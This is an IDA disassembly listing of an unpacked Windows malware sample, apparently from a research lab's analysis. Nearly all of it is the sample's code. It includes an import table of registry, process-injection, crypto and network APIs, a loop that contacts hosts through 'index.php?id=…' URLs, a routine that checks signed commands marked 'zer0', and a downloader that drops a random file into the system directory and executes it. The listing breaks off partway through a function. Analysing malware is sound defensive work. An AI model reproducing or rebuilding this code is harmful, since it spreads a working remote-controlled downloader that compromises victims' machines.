;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5D81827EB14B987001000CA2D86FF0D2

; File Name   :	u:\work\5d81827eb14b987001000ca2d86ff0d2_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	31420000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 31421000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_31421000	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_31421004	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_31421008	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_3142100C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_31422882+1Dr
dword_31421010	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueAdword_31421014	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_31422882+4Er ...
dword_31421018	dd 77E34D78h	; resolved to->ADVAPI32.AbortSystemShutdownAdword_3142101C	dd 77DEA2F9h	; resolved to->ADVAPI32.CryptCreateHashdword_31421020	dd 77DEA122h	; resolved to->ADVAPI32.CryptHashDatadword_31421024	dd 77DEAB80h	; resolved to->ADVAPI32.CryptVerifySignatureAdword_31421028	dd 77DEA254h	; resolved to->ADVAPI32.CryptDestroyHashdword_3142102C	dd 77DEA544h	; resolved to->ADVAPI32.CryptDestroyKeydword_31421030	dd 77DE8546h	; resolved to->ADVAPI32.CryptReleaseContextdword_31421034	dd 77DE7F96h	; resolved to->ADVAPI32.CryptAcquireContextAdword_31421038	dd 77DEA879h	; resolved to->ADVAPI32.CryptImportKey		align 10h
dword_31421040	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_31421044	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_31421048	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_3142104C	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_31421050	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_31421054	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_31421058	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3142105C	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_31421060	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_31421064	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_31421068	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_31422B67+8Fr
dword_3142106C	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_31421070	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_31421074	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_31422A9B+Fr
dword_31421078	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_3142107C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_314211A0+F6r ...
dword_31421080	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_314221C4+57r
dword_31421084	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_31421422+64r ...
dword_31421088	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_31422A9B+40r
dword_3142108C	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_31422A9B+1Br
dword_31421090	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_31421094	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_31421801+16Cr ...
dword_31421098	dd 7C80978Eh	; resolved to->KERNEL32.InterlockedExchangedword_3142109C	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_314210A0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_314210A4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_31421DF0+2Cr
dword_314210A8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_314223B2+116r
dword_314210AC	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_314210B0	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_3142292E+92r
dword_314210B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; UPX0:31422336r
dword_314210B8	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_314210BC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_314210C0	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_31421F52+12r
dword_314210C4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_314210C8	dd 7C80A017h	; resolved to->KERNEL32.SetEventdword_314210CC	dd 7C81320Ch	; resolved to->KERNEL32.OpenEventAdword_314210D0	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_314221C4+66r ...
dword_314210D4	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_314225C3+3Fr ...
dword_314210D8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_314210DC	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_314210E0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_31422A9B+C3r
dword_314210E4	dd 7C910331h, 0	; resolved to->NTDLL.RtlGetLastWin32Errordword_314210EC	dd 77C371BCh	; resolved to->MSVCRT.sranddword_314210F0	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_314210F4	dd 77C478A0h	; resolved to->MSVCRT.strlendword_314210F8	dd 77C475F0h	; resolved to->MSVCRT.memsetdword_314210FC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_31421F73:loc_31421F84r ...
; ---------------------------------------------------------------------------


loc_31421100:				; DATA XREF: UPX0:loc_31422CD0r
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 77h
dword_31421104	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_3142207E:loc_314220AFr ...
dword_31421108	dd 77C47660h	; resolved to->MSVCRT.strchr					; sub_31421422+AAr
		align 10h
dword_31421110	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_31421114	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_31421118	dd 7E418A80h	; resolved to->USER32.GetWindowThreadProcessIddword_3142111C	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_314215C7+77r ...
		dd 0
dword_31421124	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_314215C7+9Dr
dword_31421128	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_314215C7+89r
dword_3142112C	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandledword_31421130	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; UPX0:314227A2r
dword_31421134	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_314215C7+B0r
		dd 0
dword_3142113C	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_31421140	dd 71AB3E00h	; resolved to->WS2_32.binddword_31421144	dd 71AB88D3h	; resolved to->WS2_32.listendword_31421148	dd 71AC1028h	; resolved to->WS2_32.acceptdword_3142114C	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_31421150	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastErrordword_31421154	dd 71AB4FD4h	; resolved to->WS2_32.gethostbynamedword_31421158	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_314221C4+ACr
dword_3142115C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_31422712+Dr
dword_31421160	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_314221C4+F0r
dword_31421164	dd 71AB406Ah	; resolved to->WS2_32.connectdword_31421168	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_3142207E+67r ...
dword_3142116C	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_31421801+1D8r ...
dword_31421170	dd 71AC0BDEh	; resolved to->WS2_32.shutdown					; sub_3142207E+128r
dword_31421174	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_3142207E+12Fr
		align 10h
dword_31421180	dd 0FFFFFFFFh, 0		dd offset nullsub_1
		align 10h
dword_31421190	dd 0FFFFFFFFh, 0		dd offset nullsub_2
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314211A0	proc near		; CODE XREF: sub_31421422+16Dp

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_314211CB
		push	1
		jmp	loc_31421261
; ---------------------------------------------------------------------------


loc_314211CB:				; CODE XREF: sub_314211A0+22j
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_3142108C	; GetSystemDirectoryA
		mov	edi, dword_31421088
		lea	eax, [ebp+var_110]
		push	offset dword_314241F8
		push	eax
		call	edi	; lstrcatA
		lea	eax, [ebp+var_110]
		push	6
		push	eax
		call	dword_31421084	; lstrlenA
		lea	eax, [ebp+eax+var_110]
		push	eax
		call	sub_31421F73
		pop	ecx
		lea	eax, [ebp+var_110]
		pop	ecx
		push	offset dword_314241F0
		push	eax
		call	edi	; lstrcatA
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_110]
		push	40000000h
		push	eax
		call	dword_31421080	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_31421241
		push	2
		jmp	short loc_31421261
; ---------------------------------------------------------------------------


loc_31421241:				; CODE XREF: sub_314211A0+9Bj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_0]
		push	ebx
		call	dword_31421124	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_31421264
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		push	3


loc_31421261:				; CODE XREF: sub_314211A0+26j
					; sub_314211A0+9Fj
		pop	eax
		jmp	short loc_314212B5
; ---------------------------------------------------------------------------


loc_31421264:				; CODE XREF: sub_314211A0+B4j
		mov	edi, 100000h
		push	edi
		call	sub_31422CA5
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	dword_31421134	; InternetReadFile
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_4]
		call	dword_31421078	; WriteFile
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		lea	eax, [ebp+var_110]
		push	5
		push	eax
		call	sub_31421FA3
		push	ebx
		call	sub_31422CB9
		add	esp, 0Ch
		xor	eax, eax


loc_314212B5:				; CODE XREF: sub_314211A0+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314211A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_314212BA	proc near		; CODE XREF: sub_31421422+F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		inc	eax
		push	0Fh
		lea	esi, [ecx+1]
		sub	edi, ecx
		pop	ecx


loc_314212D1:				; CODE XREF: sub_314212BA+56j
		mov	dl, [eax]
		mov	bl, [eax-1]
		add	edx, ecx
		add	bl, cl
		sar	edx, 4
		and	dl, 3
		sub	dl, [esp+0Ch+arg_8]
		shl	bl, 2
		or	dl, bl
		mov	[esi-1], dl
		mov	dl, [eax+1]
		mov	bl, [eax]
		dec	dl
		add	bl, cl
		and	dl, cl
		sub	dl, [esp+0Ch+arg_8]
		add	eax, 3
		shl	bl, 4
		and	bl, 0F0h
		or	dl, bl
		mov	[esi], dl
		inc	esi
		inc	esi
		lea	edx, [edi+esi]
		cmp	edx, 30h
		jl	short loc_314212D1
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_314212BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421316	proc near		; CODE XREF: sub_3142139B+27p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		lea	edi, [ebp+var_1C]
		push	6
		rep movsd
		movsw
		movsb
		pop	ecx
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		lea	edi, [ebp+var_38]
		mov	ebx, [ebp+arg_4]
		rep movsd
		movsw
		test	ebx, ebx
		movsb
		jge	short loc_31421349
		add	ebx, 1Ah


loc_31421349:				; CODE XREF: sub_31421316+2Ej
		movsx	edi, [ebp+arg_0]
		mov	esi, dword_31421108
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421373
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------


loc_31421373:				; CODE XREF: sub_31421316+48j
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421393
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------


loc_31421393:				; CODE XREF: sub_31421316+68j
		mov	al, [ebp+arg_0]


loc_31421396:				; CODE XREF: sub_31421316+5Bj
					; sub_31421316+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142139B	proc near		; CODE XREF: sub_31421422+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	al, [eax]
		test	al, al
		jz	short loc_314213F8
		mov	edi, [ebp+arg_0]
		push	ebx


loc_314213B0:				; CODE XREF: sub_3142139B+58j
		sub	al, 2
		inc	[ebp+arg_4]
		mov	bl, al
		mov	eax, esi
		neg	eax
		mov	byte ptr [ebp+arg_0], bl
		push	eax
		push	[ebp+arg_0]
		call	sub_31421316
		mov	[edi], al
		pop	ecx
		inc	edi
		cmp	bl, 61h
		pop	ecx
		jl	short loc_314213DC
		cmp	bl, 7Ah
		jg	short loc_314213DC
		movsx	esi, bl
		sub	esi, 61h


loc_314213DC:				; CODE XREF: sub_3142139B+34j
					; sub_3142139B+39j
		cmp	bl, 41h
		jl	short loc_314213EC
		cmp	bl, 5Ah
		jg	short loc_314213EC
		movsx	esi, bl
		sub	esi, 41h


loc_314213EC:				; CODE XREF: sub_3142139B+44j
					; sub_3142139B+49j
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jnz	short loc_314213B0
		pop	ebx
		jmp	short loc_314213FB
; ---------------------------------------------------------------------------


loc_314213F8:				; CODE XREF: sub_3142139B+Fj
		mov	edi, [ebp+arg_0]


loc_314213FB:				; CODE XREF: sub_3142139B+5Bj
		and	byte ptr [edi],	0
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142139B	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421402	proc near		; CODE XREF: sub_31421422+104p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	ecx, ecx


loc_31421406:				; CODE XREF: sub_31421402+12j
		mov	edx, [esp+arg_0]
		movzx	edx, byte ptr [ecx+edx]
		add	eax, edx
		inc	ecx
		cmp	ecx, 30h
		jl	short loc_31421406
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, edx
		add	eax, 61h
		retn
sub_31421402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421422	proc near		; CODE XREF: sub_314215C7+BAp

var_174		= dword	ptr -174h
var_170		= byte ptr -170h
var_168		= byte ptr -168h
var_164		= byte ptr -164h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_11C		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_31421180
		push	offset loc_31422CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 164h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_128], 1
		and	[ebp+var_4], 0
		push	offset aZer0	; "zer0"
		push	[ebp+arg_0]
		call	dword_31421104	; strstr
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_130], edi
		test	edi, edi
		jz	loc_314215A8
		add	edi, 4
		mov	[ebp+var_130], edi
		jz	loc_314215A8
		push	edi
		call	dword_31421084	; lstrlenA
		mov	[ebp+var_1C], eax
		cmp	eax, 50h
		jle	loc_314215A8
		and	byte ptr [edi+100h], 0
		mov	al, [edi]
		mov	[ebp+var_168], al
		movsx	ebx, al
		sub	ebx, 61h
		mov	[ebp+var_12C], ebx
		js	loc_314215A8
		cmp	ebx, 1Ah
		jge	loc_314215A8
		inc	edi
		mov	[ebp+var_130], edi
		push	7Eh
		push	edi
		call	dword_31421108	; strchr
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_134], esi
		test	esi, esi
		jz	loc_314215A8
		mov	al, [esi]
		mov	[ebp+var_170], al
		and	byte ptr [esi],	0
		push	ebx
		push	edi
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_3142139B
		mov	al, [ebp+var_170]
		mov	[esi], al
		inc	esi
		mov	[ebp+var_130], esi
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [esi+1]
		push	eax
		call	sub_314212BA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_31421402
		add	esp, 1Ch
		cmp	[esi], al
		jnz	short loc_314215A8
		push	44h
		push	offset dword_31424000
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142172F
		add	esp, 0Ch
		lea	eax, [ebp+var_174]
		push	eax
		push	30h
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_31421084	; lstrlenA
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142179A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_3142159B
		cmp	[ebp+var_174], edi
		jz	short loc_3142159B
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_314211A0
		pop	ecx
		mov	[ebp+var_128], edi


loc_3142159B:				; CODE XREF: sub_31421422+15Cj
					; sub_31421422+164j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142177E
		pop	ecx


loc_314215A8:				; CODE XREF: sub_31421422+4Ej
					; sub_31421422+5Dj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_128]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421422	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314215C7	proc near		; CODE XREF: sub_314216A2+2Ap

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		push	4000h
		call	sub_31422CA5
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	7
		push	400h
		call	dword_31421090	; GetLocaleInfoA
		xor	ebx, ebx
		cmp	byte ptr [ebp+arg_4], bl
		jz	short loc_3142162F
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_84]
		push	dword_31424FEC
		push	dword_31425004
		push	offset aFgnsdrjyrsert ;	"fgnsdrjyrsert"
		push	[ebp+arg_0]
		push	offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"...
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_31421647
; ---------------------------------------------------------------------------


loc_3142162F:				; CODE XREF: sub_314215C7+34j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	offset aHttpS	; "http://%s"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch


loc_31421647:				; CODE XREF: sub_314215C7+66j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		push	ebx
		mov	edi, eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_84]
		push	ebx
		push	eax
		push	edi
		call	dword_31421124	; InternetOpenUrlA
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	2000h
		push	esi
		push	ebx
		call	dword_31421134	; InternetReadFile
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_31421422
		push	esi
		call	sub_31422CB9
		mov	esi, dword_3142112C
		pop	ecx
		pop	ecx
		push	ebx
		call	esi	; InternetCloseHandle
		push	edi
		call	esi	; InternetCloseHandle
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314215C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_314216A2	proc near		; DATA XREF: sub_314223B2+15Bo
		push	ebx
		mov	ebx, dword_31421098
		push	esi
		push	edi


loc_314216AB:				; CODE XREF: sub_314216A2+88j
		xor	esi, esi
		mov	edi, 46021h


loc_314216B2:				; CODE XREF: sub_314216A2+86j
		inc	esi
		inc	esi
		call	sub_31422038
		test	eax, eax
		jz	short loc_314216FC
		mov	al, byte_31424080[esi+esi*4]
		push	eax
		push	off_31424081[esi+esi*4]
		call	sub_314215C7
		or	eax, edi
		pop	ecx
		xor	eax, 8064h
		pop	ecx
		shl	eax, 3
		mov	edi, eax
		xor	eax, 228h
		test	ax, 0FFFFh
		jnz	short loc_314216FC
		push	0
		push	offset dword_31425004
		call	ebx	; InterlockedExchange
		push	0
		push	offset dword_31424FEC
		call	ebx	; InterlockedExchange


loc_314216FC:				; CODE XREF: sub_314216A2+19j
					; sub_314216A2+46j
		call	dword_314210FC	; rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		add	esi, edx
		call	sub_31422068
		xor	edx, edx
		mov	ecx, 493E0h
		div	ecx
		add	edx, 61B48h
		push	edx
		call	dword_31421094	; Sleep
		cmp	esi, 16h
		jb	short loc_314216B2
		jmp	loc_314216AB
sub_314216A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142172F	proc near		; CODE XREF: sub_31421422+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, dword_31421034
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	8
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	1
		pop	eax
		jmp	short loc_3142177A
; ---------------------------------------------------------------------------


loc_3142175C:				; CODE XREF: sub_3142172F+19j
					; sub_3142172F+26j
		lea	eax, [ebx+4]
		push	eax
		push	edi
		push	edi
		push	[esp+18h+arg_8]
		push	[esp+1Ch+arg_4]
		push	dword ptr [ebx]
		call	dword_31421038	; CryptImportKey
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax


loc_3142177A:				; CODE XREF: sub_3142172F+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3142172F	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142177E	proc near		; CODE XREF: sub_31421422+180p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+4]
		call	dword_3142102C	; CryptDestroyKey
		push	0
		push	dword ptr [esi]
		call	dword_31421030	; CryptReleaseContext
		xor	eax, eax
		pop	esi
		retn
sub_3142177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142179A	proc near		; CODE XREF: sub_31421422+152p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	8003h
		push	dword ptr [esi]
		call	dword_3142101C	; CryptCreateHash
		test	eax, eax
		jnz	short loc_314217C0
		push	1
		pop	eax
		jmp	short loc_314217FD
; ---------------------------------------------------------------------------


loc_314217C0:				; CODE XREF: sub_3142179A+1Fj
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_31421020	; CryptHashData
		test	eax, eax
		jnz	short loc_314217D9
		push	2
		pop	edi
		jmp	short loc_314217F2
; ---------------------------------------------------------------------------


loc_314217D9:				; CODE XREF: sub_3142179A+38j
		push	edi
		push	edi
		push	dword ptr [esi+4]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	dword_31421024	; CryptVerifySignatureA
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax


loc_314217F2:				; CODE XREF: sub_3142179A+3Dj
		push	[ebp+arg_0]
		call	dword_31421028	; CryptDestroyHash
		mov	eax, edi


loc_314217FD:				; CODE XREF: sub_3142179A+24j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142179A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421801	proc near		; CODE XREF: sub_3142255F+36p
					; sub_314225C3+48p ...

var_89E4	= byte ptr -89E4h
var_897C	= byte ptr -897Ch
var_690C	= byte ptr -690Ch
var_689C	= byte ptr -689Ch
var_5DD8	= byte ptr -5DD8h
var_4834	= byte ptr -4834h
var_4833	= byte ptr -4833h
var_37A0	= byte ptr -37A0h
var_2CDC	= byte ptr -2CDCh
var_2CDB	= byte ptr -2CDBh
var_2CD8	= byte ptr -2CD8h
var_24F4	= byte ptr -24F4h
var_24E4	= byte ptr -24E4h
var_21C0	= byte ptr -21C0h
var_21BC	= byte ptr -21BCh
var_21B0	= byte ptr -21B0h
var_1F28	= byte ptr -1F28h
var_1EAC	= byte ptr -1EACh
var_16DC	= byte ptr -16DCh
var_1231	= byte ptr -1231h
var_F44		= byte ptr -0F44h
var_EA4		= byte ptr -0EA4h
var_798		= dword	ptr -798h
var_788		= byte ptr -788h
var_774		= byte ptr -774h
var_730		= byte ptr -730h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_E4		= byte ptr -0E4h
var_E1		= byte ptr -0E1h
var_B7		= byte ptr -0B7h
var_B5		= byte ptr -0B5h
var_B4		= byte ptr -0B4h
var_6C		= byte ptr -6Ch
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 89E4h
		call	sub_31422CF0
		mov	eax, dword_31424C84
		push	ebx
		push	edi
		push	1
		pop	edi
